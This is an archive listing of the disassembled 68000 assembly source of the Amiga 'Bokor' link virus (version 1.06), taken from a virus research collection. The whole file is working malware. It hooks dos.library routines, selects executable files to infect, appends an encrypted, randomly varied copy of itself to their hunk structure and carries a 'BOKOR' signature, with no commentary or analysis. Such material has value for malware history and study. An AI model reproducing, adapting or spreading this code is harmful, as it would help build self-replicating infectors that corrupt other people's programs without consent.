home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / Bokor_LinkVirus / bokor1.06mem.asm < prev    next >
Assembly Source File  |  2012-08-08  |  15KB  |  542 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $FA726A
  6.  
  7.  
  8.  
  9.  
  10.     SECTION S_0,CODE
  11.  
  12. SECSTRT_0:
  13.     LEA    LAB_0014(PC),A0        ;000: 41FA01FE
  14.     EOR.L    D2,(A0)            ;004: B590
  15.     LEA    LAB_0033(PC),A4        ;006: 49FA0538
  16.     MOVEQ    #0,D0            ;00A: 7000
  17.     LEA    LAB_0032(PC),A1        ;00C: 43FA0526
  18.     MOVEA.L    (ABSEXECBASE).W,A6    ;010: 2C780004
  19.     JSR    -552(A6)        ;014: 4EAEFDD8
  20.     MOVE.L    D0,(A4)            ;018: 2880
  21.     BEQ    LAB_0013        ;01A: 670001DA
  22.     JSR    -636(A6)        ;01E: 4EAEFD84
  23.     LEA    LAB_001A(PC),A0        ;022: 41FA0236
  24.     LEA    LAB_0034(PC),A1        ;026: 43FA0534
  25.     MOVE.L    A1,(A0)            ;02A: 2089
  26.     MOVE.L    #$00001770,D0        ;02C: 203C00001770
  27.     MOVEQ    #0,D1            ;032: 7200
  28.     JSR    -198(A6)        ;034: 4EAEFF3A
  29.     MOVE.L    D0,4(A4)        ;038: 29400004
  30.     BEQ    LAB_002E        ;03C: 670004BC
  31.     MOVEA.L    (A4),A0            ;040: 2054
  32.     LEA    -150(A0),A0        ;042: 41E8FF6A
  33.     LEA    LAB_002F(PC),A1        ;046: 43FA04B8
  34.     MOVE.L    2(A0),2(A1)        ;04A: 236800020002
  35.     MOVEA.L    2(A0),A1        ;050: 22680002
  36.     CMPI    #$48E7,16(A1)        ;054: 0C6948E70010
  37.     BEQ    LAB_0013        ;05A: 6700019A
  38.     MOVE.L    D0,2(A0)        ;05E: 21400002
  39.     ADDI.L    #$00000288,2(A0)    ;062: 06A8000002880002
  40.     MOVEA.L    D0,A1            ;06A: 2240
  41.     MOVE.L    #$000003E9,(A1)+    ;06C: 22FC000003E9
  42.     MOVE.L    #$0000016F,(A1)        ;072: 22BC0000016F
  43.     MOVEA.L    #$00DFF007,A3        ;078: 267C00DFF007
  44.     MOVE.B    (A3),D5            ;07E: 1A13
  45.     MOVEQ    #0,D4            ;080: 7800
  46.     MOVE.B    -1(A3),D4        ;082: 182BFFFF
  47.     ANDI    #$00FE,D4        ;086: 024400FE
  48.     ANDI.L    #$00000007,D5        ;08A: 028500000007
  49.     ADD.L    D5,(A1)+        ;090: DB99
  50.     MOVE    D5,26(A4)        ;092: 3945001A
  51.     MOVEQ    #0,D7            ;096: 7E00
  52.     LEA    LAB_0015(PC),A2        ;098: 45FA016A
  53.     LEA    LAB_0035(PC),A0        ;09C: 41FA04CE
  54.     ADDQ.L    #1,16(A0)        ;0A0: 52A80010
  55.     MOVE.L    (A2)+,(A1)+        ;0A4: 22DA
  56.     BSR    LAB_0017        ;0A6: 6100017E
  57.     MOVE    D7,D6            ;0AA: 3C07
  58.     ADD    D6,D6            ;0AC: DC46
  59.     SUB    D4,D6            ;0AE: 9C44
  60.     MOVEQ    #127,D1            ;0B0: 727F
  61.     CMP.B    (A3),D1            ;0B2: B213
  62.     BMI.S    LAB_0001        ;0B4: 6B0E
  63.     MOVE.L    (A2)+,(A1)+        ;0B6: 22DA
  64.     SUB    D6,-2(A1)        ;0B8: 9D69FFFE
  65.     MOVE.L    (A2)+,(A1)+        ;0BC: 22DA
  66.     ADD    D5,-2(A1)        ;0BE: DB69FFFE
  67.     BRA.S    LAB_0002        ;0C2: 6010
  68. LAB_0001:
  69.     MOVE.L    4(A2),(A1)+        ;0C4: 22EA0004
  70.     MOVE.L    (A2),(A1)+        ;0C8: 22D2
  71.     SUBQ    #4,-2(A1)        ;0CA: 5969FFFE
  72.     SUB    D6,-2(A1)        ;0CE: 9D69FFFE
  73.     ADDQ    #8,A2            ;0D2: 504A
  74. LAB_0002:
  75.     BSR    LAB_0017        ;0D4: 61000150
  76.     MOVE    D7,D6            ;0D8: 3C07
  77.     ADD    D6,D6            ;0DA: DC46
  78.     SUB    D6,2(A2)        ;0DC: 9D6A0002
  79.     MOVEQ    #127,D1            ;0E0: 727F
  80.     CMP.B    (A3),D1            ;0E2: B213
  81.     BMI.S    LAB_0003        ;0E4: 6B0A
  82.     MOVE.L    (A2)+,(A1)+        ;0E6: 22DA
  83.     MOVE.L    (A2)+,(A1)+        ;0E8: 22DA
  84.     SUB    D4,-2(A1)        ;0EA: 9969FFFE
  85.     BRA.S    LAB_0004        ;0EE: 6010
  86. LAB_0003:
  87.     MOVE.L    4(A2),(A1)+        ;0F0: 22EA0004
  88.     SUB    D4,-2(A1)        ;0F4: 9969FFFE
  89.     MOVE.L    (A2),(A1)+        ;0F8: 22D2
  90.     SUBQ    #4,-2(A1)        ;0FA: 5969FFFE
  91.     ADDQ    #8,A2            ;0FE: 504A
  92. LAB_0004:
  93.     ADD    D6,-6(A2)        ;100: DD6AFFFA
  94.     MOVE    (A2)+,D6        ;104: 3C1A
  95.     CMP.B    (A3),D1            ;106: B213
  96.     BMI.S    LAB_0005        ;108: 6B06
  97.     MOVE    #$B598,D6        ;10A: 3C3CB598
  98.     MOVEQ    #67,D4            ;10E: 7843
  99. LAB_0005:
  100.     MOVE    D6,(A1)+        ;110: 32C6
  101.     MOVE    D7,D6            ;112: 3C07
  102.     BSR    LAB_0017        ;114: 61000110
  103.     SUB    D7,D6            ;118: 9C47
  104.     ADD    D6,D6            ;11A: DC46
  105.     MOVE.L    (A2)+,(A1)+        ;11C: 22DA
  106.     ADD    D6,-2(A1)        ;11E: DD69FFFE
  107.     MOVE.L    (A2)+,(A1)+        ;122: 22DA
  108.     BSR    LAB_0017        ;124: 61000100
  109.     MOVE.L    (A2)+,(A1)+        ;128: 22DA
  110.     MOVEQ    #6,D6            ;12A: 7C06
  111.     SUB    D7,D6            ;12C: 9C47
  112.     BMI.S    LAB_0007        ;12E: 6B0E
  113. LAB_0006:
  114.     MOVE.B    (A3),D1            ;130: 1213
  115.     ANDI    #$0007,D1        ;132: 02410007
  116.     DC.W    $32F0            ;136
  117.     MOVE.B    D0,D1            ;138: 1200
  118.     DBF    D6,LAB_0006        ;13A: 51CEFFF4
  119. LAB_0007:
  120.     MOVE    #$0168,D1        ;13E: 323C0168
  121.     LEA    SECSTRT_0(PC),A0    ;142: 41FAFEBC
  122. LAB_0008:
  123.     MOVE.L    (A0)+,(A1)+        ;146: 22D8
  124.     DBF    D1,LAB_0008        ;148: 51C9FFFC
  125.     NOP                ;14C: 4E71
  126.     MOVEA.L    D0,A0            ;14E: 2040
  127.     MOVE    #$4E71,388(A0)        ;150: 317C4E710184
  128.     MOVE    #$9590,60(A0)        ;156: 317C9590003C
  129.     CMP    #$0043,D4        ;15C: B87C0043
  130.     BNE.S    LAB_0009        ;160: 6606
  131.     MOVE    #$B590,60(A0)        ;162: 317CB590003C
  132. LAB_0009:
  133.     MOVEQ    #0,D1            ;168: 7200
  134.     MOVE.B    (A3),D1            ;16A: 1213
  135.     SUBI    #$0014,D1        ;16C: 04410014
  136.     BPL.S    LAB_000B        ;170: 6A2C
  137.     MOVE    #$4E71,60(A0)        ;172: 317C4E71003C
  138.     MOVE.L    (A0)+,(A1)+        ;178: 22D8
  139.     MOVE.L    (A0)+,(A1)+        ;17A: 22D8
  140.     MOVE.L    #$48E7FFFE,(A1)+    ;17C: 22FC48E7FFFE
  141.     ADDQ.L    #4,A0            ;182: 5888
  142.     MOVEQ    #21,D6            ;184: 7C15
  143.     LEA    LAB_0035(PC),A2        ;186: 45FA03E4
  144. LAB_000A:
  145.     MOVE.B    (A3),D1            ;18A: 1213
  146.     ANDI    #$0007,D1        ;18C: 02410007
  147.     DC.W    $32F2            ;190
  148.     MOVE.B    D0,D1            ;192: 1200
  149.     ADDQ.L    #2,A0            ;194: 5488
  150.     DBF    D6,LAB_000A        ;196: 51CEFFF2
  151.     MOVEQ    #65,D4            ;19A: 7841
  152.     BRA.S    LAB_000D        ;19C: 6008
  153. LAB_000B:
  154.     MOVEQ    #13,D1            ;19E: 720D
  155. LAB_000C:
  156.     MOVE.L    (A0)+,(A1)+        ;1A0: 22D8
  157.     DBF    D1,LAB_000C        ;1A2: 51C9FFFC
  158. LAB_000D:
  159.     MOVE    #$0162,D1        ;1A6: 323C0162
  160.     MOVE.L    20(A4),D6        ;1AA: 2C2C0014
  161.     ADD.L    A1,D6            ;1AE: DC89
  162.     SWAP    D6            ;1B0: 4846
  163. LAB_000E:
  164.     MOVE.L    (A0)+,D0        ;1B2: 2018
  165.     CMP    #$0041,D4        ;1B4: B87C0041
  166.     BEQ.S    LAB_0010        ;1B8: 670C
  167.     CMP    #$0043,D4        ;1BA: B87C0043
  168.     BNE.S    LAB_000F        ;1BE: 6604
  169.     EOR.L    D6,D0            ;1C0: BD80
  170.     BRA.S    LAB_0010        ;1C2: 6002
  171. LAB_000F:
  172.     SUB.L    D6,D0            ;1C4: 9086
  173. LAB_0010:
  174.     MOVE.L    D0,(A1)+        ;1C6: 22C0
  175.     DBF    D1,LAB_000E        ;1C8: 51C9FFE8
  176.     MOVE.L    D6,-56(A1)        ;1CC: 2346FFC8
  177.     SUBQ.L    #1,D5            ;1D0: 5385
  178.     BMI.S    LAB_0012        ;1D2: 6B0A
  179.     LEA    LAB_0007(PC),A0        ;1D4: 41FAFF68
  180. LAB_0011:
  181.     MOVE.L    (A0)+,(A1)+        ;1D8: 22D8
  182.     DBF    D5,LAB_0011        ;1DA: 51CDFFFC
  183. LAB_0012:
  184.     MOVEA    #$03EC,A5        ;1DE: 3A7C03EC
  185.     MOVE.L    A5,(A1)+        ;1E2: 22CD
  186.     MOVEQ    #1,D0            ;1E4: 7001
  187.     MOVE.L    D0,(A1)+        ;1E6: 22C0
  188.     MOVE.L    D0,(A1)+        ;1E8: 22C0
  189.     MOVE.L    #$00000230,(A1)+    ;1EA: 22FC00000230
  190.     CLR.L    (A1)+            ;1F0: 4299
  191.     ADDQ    #6,A5            ;1F2: 5C4D
  192.     MOVE.L    A5,(A1)+        ;1F4: 22CD
  193. LAB_0013:
  194.     CLR.L    20(A4)            ;1F6: 42AC0014
  195.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;1FA: 4CDF7FFF
  196.     DC.W    $4EF9            ;1FE
  197. LAB_0014:
  198.     MOVE    (A0)+,(A4)        ;200: 3898
  199.     MOVEQ    #37,D5            ;202: 7A25
  200. LAB_0015:
  201.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;204: 48E7FFFE
  202.     DC.W    $43FA            ;208
  203.     BCHG    D2,(A6)+        ;20A: 055E
  204.     MOVE    #$0162,D1        ;20C: 323C0162
  205.     LEA    LAB_0018(PC),A0        ;210: 41FA0022
  206.     MOVE.L    32(A1),D2        ;214: 24290020
  207. LAB_0016:
  208.     ADD.L    D2,(A0)+        ;218: D598
  209.     DBF    D1,LAB_0016        ;21A: 51C9FFFC
  210.     MOVEA.L    (ABSEXECBASE).W,A6    ;21E: 2C780004
  211.     JSR    -636(A6)        ;222: 4EAEFD84
  212. LAB_0017:
  213.     MOVEQ    #0,D3            ;226: 7600
  214.     MOVEQ    #0,D2            ;228: 7400
  215.     MOVE.B    (A3),D2            ;22A: 1413
  216.     ADD.B    (A3),D2            ;22C: D413
  217.     LSR.L    #6,D2            ;22E: EC8A
  218.     SUBQ    #1,D2            ;230: 5342
  219.     BMI.S    LAB_0019        ;232: 6B1A
  220. LAB_0018:
  221.     CMP    #$0007,D7        ;234: BE7C0007
  222.     BEQ.S    LAB_0019        ;238: 6714
  223.     MOVE.B    (A3),D3            ;23A: 1613
  224.     ADD.B    -1(A3),D3        ;23C: D62BFFFF
  225.     ANDI    #$0007,D3        ;240: 02430007
  226.     DC.W    $32F0            ;244
  227.     MOVE    D0,D1            ;246: 3200
  228.     ADDQ    #1,D7            ;248: 5247
  229.     DBF    D2,LAB_0018        ;24A: 51CAFFE8
  230. LAB_0019:
  231.     RTS                ;24E: 4E75
  232.     BRA.S    LAB_001B+2        ;250: 600C
  233.     SUBQ    #1,(A1)+        ;252: 5359
  234.     SUBQ    #1,(A0)            ;254: 5350
  235.     DC.W    $4154            ;256
  236.     DC.W    $4348            ;258
  237. LAB_001A:
  238.     BTST    D0,D5            ;25A: 0105
  239. LAB_001B:
  240.     MOVE.B    17127(A4),(A3)        ;25C: 16AC42E7
  241.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;260: 48E7FFFE
  242.     MOVEA.L    D1,A0            ;264: 2041
  243.     CLR.L    D0            ;266: 4280
  244.     MOVEA.L    #$00DFF006,A2        ;268: 247C00DFF006
  245.     MOVE.B    1(A2),D0        ;26E: 102A0001
  246.     ADD.B    (A2),D0            ;272: D012
  247.     SUBI    #$00FC,D0        ;274: 044000FC
  248.     BMI.S    LAB_001C        ;278: 6B06
  249.     MOVE    #$00FF,36(A2)        ;27A: 357C00FF0024
  250. LAB_001C:
  251.     SUBQ    #3,D0            ;280: 5740
  252.     BMI.S    LAB_001D        ;282: 6B02
  253.     ADDQ.B    #1,(A0)            ;284: 5210
  254. LAB_001D:
  255.     LEA    LAB_001A(PC),A2        ;286: 45FAFFD2
  256.     LEA    LAB_0034(PC),A1        ;28A: 43FA02D0
  257.     MOVE.L    A1,(A2)            ;28E: 2489
  258.     LEA    LAB_0032(PC),A4        ;290: 49FA02A2
  259.     MOVE.L    D1,16(A4)        ;294: 29410010
  260. LAB_001E:
  261.     MOVEQ    #3,D1            ;298: 7203
  262. LAB_001F:
  263.     ROL.L    #8,D0            ;29A: E198
  264.     MOVE.B    (A0)+,D0        ;29C: 1018
  265.     DBF    D1,LAB_001F        ;29E: 51C9FFFA
  266.     SUBQ    #4,A0            ;2A2: 5948
  267.     CMP.L    #$2E455845,D0        ;2A4: B0BC2E455845
  268.     BEQ.S    LAB_0023        ;2AA: 673E
  269.     CMP.L    #$2E657865,D0        ;2AC: B0BC2E657865
  270.     BEQ.S    LAB_0023        ;2B2: 6736
  271.     MOVEQ    #9,D7            ;2B4: 7E09
  272.     LEA    LAB_0031(PC),A1        ;2B6: 43FA0258
  273. LAB_0020:
  274.     CMP.L    (A1)+,D0        ;2BA: B099
  275.     BEQ    LAB_002E        ;2BC: 6700023C
  276.     DBF    D7,LAB_0020        ;2C0: 51CFFFF8
  277.     TST.B    (A0)+            ;2C4: 4A18
  278.     BNE.S    LAB_001E        ;2C6: 66D0
  279.     SUBQ    #2,A0            ;2C8: 5548
  280.     CMPI.B    #$40,(A0)        ;2CA: 0C100040
  281.     BMI    LAB_002E        ;2CE: 6B00022A
  282.     MOVEA.L    16(A4),A0        ;2D2: 206C0010
  283. LAB_0021:
  284.     CMPI.B    #$2E,(A0)        ;2D6: 0C10002E
  285.     BEQ    LAB_002E        ;2DA: 6700021E
  286.     CMPI.B    #$20,(A0)        ;2DE: 0C100020
  287.     BNE.S    LAB_0022        ;2E2: 6602
  288.     CLR.B    (A0)            ;2E4: 4210
  289. LAB_0022:
  290.     TST.B    (A0)+            ;2E6: 4A18
  291.     BNE.S    LAB_0021        ;2E8: 66EC
  292. LAB_0023:
  293.     CLR.L    D0            ;2EA: 4280
  294.     MOVEA.L    A4,A1            ;2EC: 224C
  295.     MOVEA.L    (ABSEXECBASE).W,A6    ;2EE: 2C780004
  296.     JSR    -552(A6)        ;2F2: 4EAEFDD8
  297.     MOVE.L    D0,12(A4)        ;2F6: 2940000C
  298.     BEQ    LAB_002E        ;2FA: 670001FE
  299.     MOVEA.L    D0,A6            ;2FE: 2C40
  300.     MOVE.L    16(A4),D1        ;300: 222C0010
  301.     MOVEQ    #-2,D2            ;304: 74FE
  302.     JSR    -84(A6)            ;306: 4EAEFFAC
  303.     MOVE.L    D0,D1            ;30A: 2200
  304.     BEQ    LAB_002E        ;30C: 670001EC
  305.     MOVE.L    D0,D7            ;310: 2E00
  306.     LEA    LAB_0036(PC),A5        ;312: 4BFA0268
  307.     MOVE.L    A5,D2            ;316: 240D
  308.     JSR    -114(A6)        ;318: 4EAEFF8E
  309.     MOVE    10(A5),D5        ;31C: 3A2D000A
  310.     MOVE.L    D7,D1            ;320: 2207
  311.     ADDI.L    #$00001194,D2        ;322: 068200001194
  312.     MOVE.L    D2,D6            ;328: 2C02
  313.     JSR    -102(A6)        ;32A: 4EAEFF9A
  314.     MOVE.L    D0,D4            ;32E: 2800
  315.     MOVEA.L    D6,A2            ;330: 2446
  316.     MOVE.L    124(A2),D1        ;332: 222A007C
  317.     CMP.L    #$0003E800,D1        ;336: B2BC0003E800
  318.     BPL    LAB_002E        ;33C: 6A0001BC
  319.     CMP.L    #$00000578,D1        ;340: B2BC00000578
  320.     BMI    LAB_002E        ;346: 6B0001B2
  321.     MOVE.L    D1,24(A4)        ;34A: 29410018
  322.     MOVE.L    D7,D1            ;34E: 2207
  323.     JSR    -90(A6)            ;350: 4EAEFFA6
  324.     TST.L    D4            ;354: 4A84
  325.     BEQ    LAB_002E        ;356: 670001A2
  326.     CMP    #$0050,D5        ;35A: BA7C0050
  327.     BEQ    LAB_002E        ;35E: 6700019A
  328.     MOVE.L    16(A4),D1        ;362: 222C0010
  329.     MOVE.L    #$000003ED,D2        ;366: 243C000003ED
  330.     JSR    -30(A6)            ;36C: 4EAEFFE2
  331.     MOVE.L    D1,20(A4)        ;370: 29410014
  332.     BEQ    LAB_002E        ;374: 67000184
  333.     LEA    LAB_0036(PC),A5        ;378: 4BFA0202
  334.     MOVE.L    A5,D2            ;37C: 240D
  335.     MOVEQ    #38,D3            ;37E: 7626
  336.     JSR    -42(A6)            ;380: 4EAEFFD6
  337.     CMPI.L    #$000003F3,(A5)        ;384: 0C95000003F3
  338.     BNE    LAB_0030        ;38A: 6600017A
  339.     MOVE.L    20(A5),D2        ;38E: 242D0014
  340.     SUBI.L    #$0000016F,D2        ;392: 04820000016F
  341.     BMI.S    LAB_0024        ;398: 6B06
  342.     SUBQ    #8,D2            ;39A: 5142
  343.     BMI    LAB_0030        ;39C: 6B000168
  344. LAB_0024:
  345.     MOVEA.L    D6,A2            ;3A0: 2446
  346.     MOVEA.L    116(A2),A3        ;3A2: 266A0074
  347.     DC.W    $4A4B            ;3A6
  348.     BEQ.S    LAB_0025        ;3A8: 670A
  349.     MOVEQ    #0,D2            ;3AA: 7400
  350.     MOVE.L    16(A4),D1        ;3AC: 222C0010
  351.     JSR    -186(A6)        ;3B0: 4EAEFF46
  352. LAB_0025:
  353.     MOVE.L    20(A4),D1        ;3B4: 222C0014
  354.     MOVEQ    #0,D2            ;3B8: 7400
  355.     MOVEQ    #-1,D3            ;3BA: 76FF
  356.     JSR    -66(A6)            ;3BC: 4EAEFFBE
  357.     MOVE.L    24(A4),D0        ;3C0: 202C0018
  358.     ADDQ.L    #8,D0            ;3C4: 5080
  359.     MOVEQ    #0,D1            ;3C6: 7200
  360.     MOVEA.L    (ABSEXECBASE).W,A6    ;3C8: 2C780004
  361.     JSR    -198(A6)        ;3CC: 4EAEFF3A
  362.     MOVE.L    D0,28(A4)        ;3D0: 2940001C
  363.     BEQ    LAB_0030        ;3D4: 67000130
  364.     MOVE.L    D0,D2            ;3D8: 2400
  365.     ADDQ.L    #4,D2            ;3DA: 5882
  366.     MOVE.L    24(A4),D3        ;3DC: 262C0018
  367.     MOVE.L    20(A4),D1        ;3E0: 222C0014
  368.     MOVEA.L    12(A4),A6        ;3E4: 2C6C000C
  369.     JSR    -42(A6)            ;3E8: 4EAEFFD6
  370.     MOVEA.L    28(A4),A0        ;3EC: 206C001C
  371.     MOVEA.L    A0,A2            ;3F0: 2448
  372.     ADDQ    #4,A0            ;3F2: 5848
  373.     ADDQ    #1,10(A0)        ;3F4: 5268000A
  374.     ADDQ    #1,18(A0)        ;3F8: 52680012
  375.     MOVE.L    8(A0),D7        ;3FC: 2E280008
  376.     MOVEQ    #4,D2            ;400: 7404
  377. LAB_0026:
  378.     MOVE.L    (A0)+,(A2)+        ;402: 24D8
  379.     DBF    D2,LAB_0026        ;404: 51CAFFFC
  380.     MOVE.L    #$0000016F,(A2)        ;408: 24BC0000016F
  381.     MOVEQ    #0,D1            ;40E: 7200
  382.     MOVE    38(A4),D1        ;410: 322C0026
  383.     ADD.L    D1,(A2)+        ;414: D39A
  384.     MOVE.L    20(A4),D1        ;416: 222C0014
  385.     MOVEQ    #0,D2            ;41A: 7400
  386.     MOVEQ    #-1,D3            ;41C: 76FF
  387.     JSR    -66(A6)            ;41E: 4EAEFFBE
  388.     MOVE.L    D7,D3            ;422: 2607
  389.     ADDQ.L    #5,D3            ;424: 5A83
  390.     LSL    #2,D3            ;426: E54B
  391.     MOVE.L    D3,D5            ;428: 2A03
  392.     MOVE.L    20(A4),D1        ;42A: 222C0014
  393.     MOVE.L    28(A4),D2        ;42E: 242C001C
  394.     JSR    -48(A6)            ;432: 4EAEFFD0
  395.     MOVEA.L    28(A4),A2        ;436: 246C001C
  396.     ADDA.L    D5,A2            ;43A: D5C5
  397.     SUBQ    #2,D7            ;43C: 5547
  398. LAB_0027:
  399.     MOVE.L    (A2)+,D0        ;43E: 201A
  400.     MOVE.L    (A2)+,D1        ;440: 221A
  401.     CMP    #$03EB,D0        ;442: B07C03EB
  402.     BEQ.S    LAB_0029        ;446: 6724
  403.     LSL.L    #2,D1            ;448: E589
  404.     ADDA.L    D1,A2            ;44A: D5C1
  405.     MOVE.L    (A2)+,D0        ;44C: 201A
  406.     CMP    #$03F2,D0        ;44E: B07C03F2
  407.     BEQ.S    LAB_002C        ;452: 672E
  408.     CMP    #$03F0,D0        ;454: B07C03F0
  409.     BEQ.S    LAB_002A        ;458: 671A
  410.     CMP    #$03EC,D0        ;45A: B07C03EC
  411.     BNE.S    LAB_002B        ;45E: 661E
  412. LAB_0028:
  413.     MOVE.L    (A2)+,D0        ;460: 201A
  414.     BEQ.S    LAB_0029        ;462: 6708
  415.     ADDQ.L    #1,(A2)+        ;464: 529A
  416.     LSL.L    #2,D0            ;466: E588
  417.     ADDA.L    D0,A2            ;468: D5C0
  418.     BRA.S    LAB_0028        ;46A: 60F4
  419. LAB_0029:
  420.     CMPI    #$03F2,2(A2)        ;46C: 0C6A03F20002
  421.     BEQ.S    LAB_002B        ;472: 670A
  422. LAB_002A:
  423.     CMPI.L    #$000003F2,(A2)+    ;474: 0C9A000003F2
  424.     BNE.S    LAB_002A        ;47A: 66F8
  425.     BRA.S    LAB_002C        ;47C: 6004
  426. LAB_002B:
  427.     ADDA    #$0004,A2        ;47E: D4FC0004
  428. LAB_002C:
  429.     DBF    D7,LAB_0027        ;482: 51CFFFBA
  430.     MOVE.L    20(A4),D1        ;486: 222C0014
  431.     DC.W    $45FA            ;48A
  432.     BTST    D0,(A0)+        ;48C: 0118
  433.     CLR.L    568(A2)            ;48E: 42AA0238
  434.     MOVE.L    A2,D2            ;492: 240A
  435.     MOVE    #$05DC,D3        ;494: 363C05DC
  436.     MOVE    38(A4),D4        ;498: 382C0026
  437.     LSL    #2,D4            ;49C: E54C
  438.     ADD    D4,D3            ;49E: D644
  439.     JSR    -48(A6)            ;4A0: 4EAEFFD0
  440.     MOVE.L    24(A4),D3        ;4A4: 262C0018
  441.     ADDQ.L    #4,D3            ;4A8: 5883
  442.     SUB.L    D5,D3            ;4AA: 9685
  443.     MOVE.L    20(A4),D1        ;4AC: 222C0014
  444.     MOVE.L    28(A4),D2        ;4B0: 242C001C
  445.     ADD.L    D5,D2            ;4B4: D485
  446.     JSR    -48(A6)            ;4B6: 4EAEFFD0
  447.     MOVE.L    20(A4),D1        ;4BA: 222C0014
  448.     JSR    -36(A6)            ;4BE: 4EAEFFDC
  449.     MOVE.L    A3,D2            ;4C2: 240B
  450.     BEQ.S    LAB_002D        ;4C4: 6708
  451.     MOVE.L    16(A4),D1        ;4C6: 222C0010
  452.     JSR    -186(A6)        ;4CA: 4EAEFF46
  453. LAB_002D:
  454.     MOVE.L    16(A4),D1        ;4CE: 222C0010
  455.     MOVE.L    D6,D2            ;4D2: 2406
  456.     ADDI    #$0084,D2        ;4D4: 06420084
  457.     JSR    -396(A6)        ;4D8: 4EAEFE74
  458.     MOVE.L    24(A4),D0        ;4DC: 202C0018
  459.     ADDQ.L    #8,D0            ;4E0: 5080
  460.     MOVEA.L    28(A4),A1        ;4E2: 226C001C
  461.     MOVEA.L    (ABSEXECBASE).W,A6    ;4E6: 2C780004
  462.     JSR    -210(A6)        ;4EA: 4EAEFF2E
  463.     MOVEA.L    12(A4),A1        ;4EE: 226C000C
  464.     JSR    -414(A6)        ;4F2: 4EAEFE62
  465.     JSR    -636(A6)        ;4F6: 4EAEFD84
  466. LAB_002E:
  467.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;4FA: 4CDF7FFF
  468.     MOVE    (A7)+,CCR        ;4FE: 44DF
  469. LAB_002F:
  470.     JMP    EXT_0001        ;500: 4EF900FA726A
  471. LAB_0030:
  472.     MOVE.L    20(A4),D1        ;506: 222C0014
  473.     JSR    -36(A6)            ;50A: 4EAEFFDC
  474.     BRA.S    LAB_002E        ;50E: 60EA
  475. LAB_0031:
  476.     BCC.S    LAB_0036+2        ;510: 646C
  477.     BCS.S    LAB_0038        ;512: 6572
  478.     DC.W    $444C            ;514
  479.     DC.W    $4552            ;516
  480.     DC.W    $6972            ;518
  481.     DC.W    $7573            ;51A
  482.     DC.W    $4952            ;51C
  483.     SUBQ    #2,(A3)            ;51E: 5553
  484.     DC.W    $6465            ;520
  485.     MOVEQ    #115,D3            ;522: 7673
  486.     NEG    D5            ;524: 4445
  487.     ADDQ    #3,(A3)            ;526: 5653
  488.     NEG    -(A5)            ;528: 4465
  489.     MOVEQ    #115,D3            ;52A: 7673
  490.     MOVEQ    #116,D1            ;52C: 7274
  491.     DC.W    $7570            ;52E
  492.     ADDQ    #1,(A4)            ;530: 5254
  493.     SUBQ    #2,(A0)            ;532: 5550
  494. LAB_0032:
  495.     DC.W    $646F            ;534
  496.     DC.W    $732E            ;536
  497.     DC.W    $6C69            ;538
  498.     DC.W    $6272            ;53A
  499.     DC.W    $6172            ;53C
  500.     DC.W    $7900            ;53E
  501. LAB_0033:
  502.     BTST    D0,D0            ;540: 0100
  503.     LSR.L    #4,D4            ;542: E88C
  504.     BTST    D0,D5            ;544: 0105
  505.     MOVE    A0,(A1)            ;546: 3288
  506.     SUB.L    D7,(A0)+        ;548: 9F98
  507.     MOVE.L    D3,(A0)+        ;54A: 20C3
  508.     DC.W    $AA94            ;54C
  509.     DC.W    $900A            ;54E
  510.     OR    D0,D4            ;550: 8840
  511.     ADD.B    0(A3,D0.W),D6        ;552: DC330000
  512.     DC.W    $0000            ;556
  513.     MOVE    2(A4,D0.W),D2        ;558: 34340002
  514. LAB_0034:
  515.     DC.W    $4C6F            ;55C
  516.     DC.W    $6361            ;55E
  517.     DC.W    $6C65            ;560
  518.     MOVEA.L    A4,A0            ;562: 204C
  519.     DC.W    $6962            ;564
  520.     MOVEQ    #97,D1            ;566: 7261
  521.     MOVEQ    #121,D1            ;568: 7279
  522.     DC.W    $004C            ;56A
  523. LAB_0035:
  524.     MOVEQ    #0,D0            ;56C: 7000
  525.     MOVEA.L    A0,A3            ;56E: 2648
  526.     TST.L    D0            ;570: 4A80
  527.     MOVE.L    D0,D4            ;572: 2800
  528.     MOVEA.L    A1,A2            ;574: 2449
  529.     MOVE.L    D1,D3            ;576: 2601
  530.     TST.L    D1            ;578: 4A81
  531.     MOVEA.L    A0,A2            ;57A: 2448
  532. LAB_0036:
  533.     ORI.B    #$B9,D0            ;57C: 000000B9
  534.     DC.W    $424F            ;580
  535.     DC.W    $4B4F            ;582
  536.     ADDQ.B    #1,-(A0)        ;584: 5220
  537. LAB_0038:
  538.     DC.W    $5631            ;586
  539.     DC.W    $2E30            ;588
  540.     MOVE    -(A1),D3        ;58A: 3621
  541.     END
  542.